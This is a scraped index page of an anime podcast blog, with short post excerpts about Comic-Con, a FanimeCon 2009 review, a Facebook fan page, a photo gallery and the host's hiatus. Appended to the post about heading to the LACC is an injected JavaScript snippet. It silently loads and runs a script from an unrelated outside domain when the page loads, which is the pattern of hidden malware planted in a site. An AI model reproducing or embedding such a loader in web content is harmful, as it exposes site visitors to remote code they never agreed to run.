I produce this show out of my own pocket, primarily because of my love of all things anime and Japan. Unfortunately in this down economy, I need as much help as I can get. If you feel so inclined, a small donation to help offset my costs (server, bandwidth, equipment, etc.) would be much appreciated. Either make a purchase through one of our affiliates, bid on our eBay auctions, buy me something on my wish list, or use the handy donation button below.

I can’t believe that it’s that time already. Yes, that awesomely huge comic convention, Comic-Con, is set to rock the San Diego Convention Center this Thursday through Sunday, July 23-26, with a special Preview Night on Wednesday, July 22. But if you’ve procrastinated up till now hoping that you could get in at the last […]
Here it is, the special mid-week episode I promised containing my review of FanimeCon 2009. In short: It’s the perfect compromise between huge mega-con and small local fan-run con, and I liked it. A lot. We also go over some news, including, yes, some more Weird Japan. No picks this week, but I think you’ll […]
I’ve set up a Facebook “fan page” for our podcast. The problem is, it has one of those gnarly long Facebook numeric URLs. In order for us to get one of those cool guy (and much easier to type/remember) Facebook “vanity urls”, we need at least 100 “fans” […]
The server oompa-loompas here at Otaku no Podcast have been busy. Their latest achievement: a new Photo Gallery section on the website, where I will post pictures from the various anime conventions and events I have attended. I’ve already started uploading some pictures from FanimeCon 2009, and will shortly upload my Anime Expo 2009 pics […]
Blame DJ City of TJX – The Japan Xperience for this little AMV interlude. He recently tweeted he was listening to a certain Van Halen Song… and that got me thinking about one of my favorite AMV (Anime Music Videos) of all time. And here I present it to you for your viewing pleasure. Sit […]
Yes, it’s true, we’re still very much alive and kicking. Let’s just say that 2008 was the Year of Hell, and a lot of stuff happened in my life (most of it NOT good). Things aren’t quite at the levels they were before the Year of Hell, but at least the dust has settled and […]
OK, We are on the road. (rails, actually) Expect to hit the LACC around 3 pm. Watch this space for more updates and announcements of live broadcasts.;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, ‘script’, `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);
I should learn to never make promises. No sooner had I posted the last “we’re coming back soon, honest!” message, then I got slammed with a huge wall of work which pretty much left me with NO free time – not enough to even watch anime. (See, that’s the problem with freelancing in a tough […]
The short version: We’re not dead yet. Alot happened in my life last year, most of it not good. But I’m finally coming out from under it all. Already recorded an episode, about to record another, but I’m holding back on releasing them until I’ve built up a couple of “ready to publish” episodes – […]
I have disabled the ad-block temporarily until the various paid political ads have run out of rotation. I apologize if any political ads that may have shown up on this site have offended you in any way.
EDIT: Now that the madness has passed, I have re-enabled the ad blocks. Help us out a little, […]
